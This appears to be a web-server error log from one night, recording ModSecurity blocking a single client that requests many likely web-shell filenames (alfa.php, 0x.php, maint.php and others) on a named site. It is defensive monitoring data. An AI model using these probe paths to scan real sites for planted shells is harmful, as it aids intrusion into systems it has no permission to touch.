[Fri Dec 26 01:35:25.210768 2025] [:error] [pid 24946:tid 24959] [client 4.194.153.244:3016] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aU113VfyLYxv3Jn9S71O6AAAAEs"]
[Fri Dec 26 01:35:25.458344 2025] [:error] [pid 24946:tid 24956] [client 4.194.153.244:3043] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aU113VfyLYxv3Jn9S71O6gAAAEg"]
[Fri Dec 26 01:35:25.686864 2025] [:error] [pid 24863:tid 24910] [client 4.194.153.244:20664] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aU113R8SaH2KMpp43vfx3QAAANE"]
[Fri Dec 26 01:35:25.913682 2025] [:error] [pid 24863:tid 24896] [client 4.194.153.244:20640] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aU113R8SaH2KMpp43vfx3wAAAMM"]
[Fri Dec 26 01:35:26.244006 2025] [:error] [pid 24946:tid 24951] [client 4.194.153.244:20721] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aU113lfyLYxv3Jn9S71O7AAAAEM"]
[Fri Dec 26 01:35:26.697010 2025] [:error] [pid 24863:tid 24917] [client 4.194.153.244:3053] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aU113h8SaH2KMpp43vfx4gAAANg"]
[Fri Dec 26 01:35:27.108380 2025] [:error] [pid 24946:tid 24969] [client 4.194.153.244:2988] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aU1131fyLYxv3Jn9S71O7QAAAFU"]
[Fri Dec 26 01:35:27.386021 2025] [:error] [pid 24946:tid 24949] [client 4.194.153.244:20695] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aU1131fyLYxv3Jn9S71O8QAAAEE"]
[Fri Dec 26 01:35:27.668938 2025] [:error] [pid 24946:tid 24953] [client 4.194.153.244:3022] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aU1131fyLYxv3Jn9S71O8wAAAEU"]
[Fri Dec 26 01:35:27.912121 2025] [:error] [pid 24946:tid 24965] [client 4.194.153.244:2974] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aU1131fyLYxv3Jn9S71O9AAAAFE"]
[Fri Dec 26 01:35:28.233210 2025] [:error] [pid 24862:tid 24870] [client 4.194.153.244:20723] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aU114Lt-eeEEuo-2JKg1egAAAAQ"]
[Fri Dec 26 01:35:28.537791 2025] [:error] [pid 24864:tid 24921] [client 4.194.153.244:20705] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aU114Mu59XOK5DpQQdCexwAAAUE"]
[Fri Dec 26 01:35:28.883432 2025] [:error] [pid 24946:tid 24961] [client 4.194.153.244:20613] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aU114FfyLYxv3Jn9S71O-AAAAE0"]
[Fri Dec 26 01:35:29.209677 2025] [:error] [pid 24862:tid 24880] [client 4.194.153.244:20709] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aU114bt-eeEEuo-2JKg1fQAAAA4"]
[Fri Dec 26 01:35:29.626765 2025] [:error] [pid 24946:tid 24964] [client 4.194.153.244:2950] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU114VfyLYxv3Jn9S71O-wAAAFA"]
[Fri Dec 26 01:35:29.893768 2025] [:error] [pid 24864:tid 24942] [client 4.194.153.244:3048] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU114cu59XOK5DpQQdCeywAAAVY"]
[Fri Dec 26 01:35:30.353566 2025] [:error] [pid 24864:tid 24940] [client 4.194.153.244:2987] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU114su59XOK5DpQQdCezQAAAVQ"]
[Fri Dec 26 01:35:30.588027 2025] [:error] [pid 24946:tid 24950] [client 4.194.153.244:20615] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU114lfyLYxv3Jn9S71PAAAAAEI"]
[Fri Dec 26 01:35:30.908140 2025] [:error] [pid 24864:tid 24943] [client 4.194.153.244:3037] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aU114su59XOK5DpQQdCezgAAAVc"]
[Fri Dec 26 01:35:31.231834 2025] [:error] [pid 24862:tid 24876] [client 4.194.153.244:20694] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aU1147t-eeEEuo-2JKg1gwAAAAo"]
[Fri Dec 26 01:35:31.501621 2025] [:error] [pid 24864:tid 24944] [client 4.194.153.244:3063] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aU1148u59XOK5DpQQdCe0AAAAVg"]
[Fri Dec 26 01:35:31.871593 2025] [:error] [pid 24862:tid 24888] [client 4.194.153.244:3017] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aU1147t-eeEEuo-2JKg1hgAAABY"]
[Fri Dec 26 01:35:32.165256 2025] [:error] [pid 24862:tid 24867] [client 4.194.153.244:20706] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aU115Lt-eeEEuo-2JKg1hwAAAAE"]
[Fri Dec 26 01:35:32.453716 2025] [:error] [pid 24864:tid 24934] [client 4.194.153.244:20668] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aU115Mu59XOK5DpQQdCe0gAAAU4"]
[Fri Dec 26 01:35:32.770934 2025] [:error] [pid 24946:tid 24949] [client 4.194.153.244:3024] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aU115FfyLYxv3Jn9S71PDAAAAEE"]
[Fri Dec 26 01:35:33.014870 2025] [:error] [pid 24946:tid 24959] [client 4.194.153.244:2958] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aU115VfyLYxv3Jn9S71PDgAAAEs"]
[Fri Dec 26 01:35:33.325057 2025] [:error] [pid 24862:tid 24870] [client 4.194.153.244:3045] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aU115bt-eeEEuo-2JKg1igAAAAQ"]
[Fri Dec 26 01:35:33.600698 2025] [:error] [pid 24946:tid 24953] [client 4.194.153.244:2973] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aU115VfyLYxv3Jn9S71PEAAAAEU"]
[Fri Dec 26 01:35:33.848916 2025] [:error] [pid 24946:tid 24954] [client 4.194.153.244:20727] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aU115VfyLYxv3Jn9S71PEQAAAEY"]
[Fri Dec 26 01:35:34.151151 2025] [:error] [pid 24946:tid 24971] [client 4.194.153.244:3039] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aU115lfyLYxv3Jn9S71PFAAAAFc"]
[Fri Dec 26 01:35:34.520277 2025] [:error] [pid 24864:tid 24929] [client 4.194.153.244:2972] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU115su59XOK5DpQQdCe2AAAAUk"]
[Fri Dec 26 01:35:34.798696 2025] [:error] [pid 24946:tid 24960] [client 4.194.153.244:2891] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU115lfyLYxv3Jn9S71PGgAAAEw"]
[Fri Dec 26 01:35:35.036793 2025] [:error] [pid 24862:tid 24871] [client 4.194.153.244:20680] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU1157t-eeEEuo-2JKg1jAAAAAU"]
[Fri Dec 26 01:35:35.483607 2025] [:error] [pid 24863:tid 24903] [client 4.194.153.244:3046] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU115x8SaH2KMpp43vfx5wAAAMo"]
[Fri Dec 26 01:35:35.858521 2025] [:error] [pid 24863:tid 24906] [client 4.194.153.244:20657] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aU115x8SaH2KMpp43vfx6wAAAM0"]
[Fri Dec 26 01:35:36.131398 2025] [:error] [pid 24863:tid 24897] [client 4.194.153.244:3010] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aU116B8SaH2KMpp43vfx7AAAAMQ"]
[Fri Dec 26 01:35:36.400676 2025] [:error] [pid 24863:tid 24894] [client 4.194.153.244:3058] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aU116B8SaH2KMpp43vfx7QAAAME"]
[Fri Dec 26 01:35:36.727361 2025] [:error] [pid 24863:tid 24907] [client 4.194.153.244:20618] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aU116B8SaH2KMpp43vfx7gAAAM4"]
[Fri Dec 26 01:35:37.070832 2025] [:error] [pid 24862:tid 24875] [client 4.194.153.244:2965] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU116bt-eeEEuo-2JKg1kgAAAAk"]
[Fri Dec 26 01:35:37.499641 2025] [:error] [pid 24864:tid 24932] [client 4.194.153.244:2889] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU116cu59XOK5DpQQdCe3AAAAUw"]
[Fri Dec 26 01:35:38.109686 2025] [:error] [pid 24864:tid 24934] [client 4.194.153.244:3062] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU116su59XOK5DpQQdCe4AAAAU4"]
[Fri Dec 26 01:35:38.641705 2025] [:error] [pid 24863:tid 24910] [client 4.194.153.244:20665] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aU116h8SaH2KMpp43vfx8wAAANE"]
[Fri Dec 26 01:35:38.906423 2025] [:error] [pid 24863:tid 24915] [client 4.194.153.244:20664] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU116h8SaH2KMpp43vfx9AAAANY"]
[Fri Dec 26 01:35:39.220704 2025] [:error] [pid 24862:tid 24890] [client 4.194.153.244:20671] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU1167t-eeEEuo-2JKg1kwAAABg"]
[Fri Dec 26 01:35:39.617871 2025] [:error] [pid 24946:tid 24963] [client 4.194.153.244:20690] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU1161fyLYxv3Jn9S71PIAAAAE8"]
[Fri Dec 26 01:35:39.901608 2025] [:error] [pid 24946:tid 24954] [client 4.194.153.244:3053] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU1161fyLYxv3Jn9S71PIgAAAEY"]
[Fri Dec 26 01:35:40.152334 2025] [:error] [pid 24864:tid 24928] [client 4.194.153.244:20700] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU117Mu59XOK5DpQQdCe5AAAAUg"]
[Fri Dec 26 01:35:40.453362 2025] [:error] [pid 24946:tid 24970] [client 4.194.153.244:20678] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU117FfyLYxv3Jn9S71PJAAAAFY"]
[Fri Dec 26 01:35:40.791702 2025] [:error] [pid 24864:tid 24929] [client 4.194.153.244:20652] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU117Mu59XOK5DpQQdCe5gAAAUk"]
[Fri Dec 26 01:35:41.064336 2025] [:error] [pid 24946:tid 24964] [client 4.194.153.244:20732] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aU117VfyLYxv3Jn9S71PJwAAAFA"]
[Fri Dec 26 01:35:41.457231 2025] [:error] [pid 24946:tid 24969] [client 4.194.153.244:2992] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aU117VfyLYxv3Jn9S71PKAAAAFU"]
[Fri Dec 26 01:35:41.782442 2025] [:error] [pid 24864:tid 24938] [client 4.194.153.244:2996] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aU117cu59XOK5DpQQdCe6gAAAVI"]
[Fri Dec 26 01:35:42.257777 2025] [:error] [pid 24946:tid 24950] [client 4.194.153.244:3008] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aU117lfyLYxv3Jn9S71PLwAAAEI"]
[Fri Dec 26 01:35:42.606700 2025] [:error] [pid 24946:tid 24966] [client 4.194.153.244:2943] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aU117lfyLYxv3Jn9S71PMAAAAFI"]
[Fri Dec 26 01:35:43.013524 2025] [:error] [pid 24946:tid 24965] [client 4.194.153.244:20658] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU1171fyLYxv3Jn9S71PMwAAAFE"]
[Fri Dec 26 01:35:43.683384 2025] [:error] [pid 24946:tid 24970] [client 4.194.153.244:2963] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU1171fyLYxv3Jn9S71PNQAAAFY"]
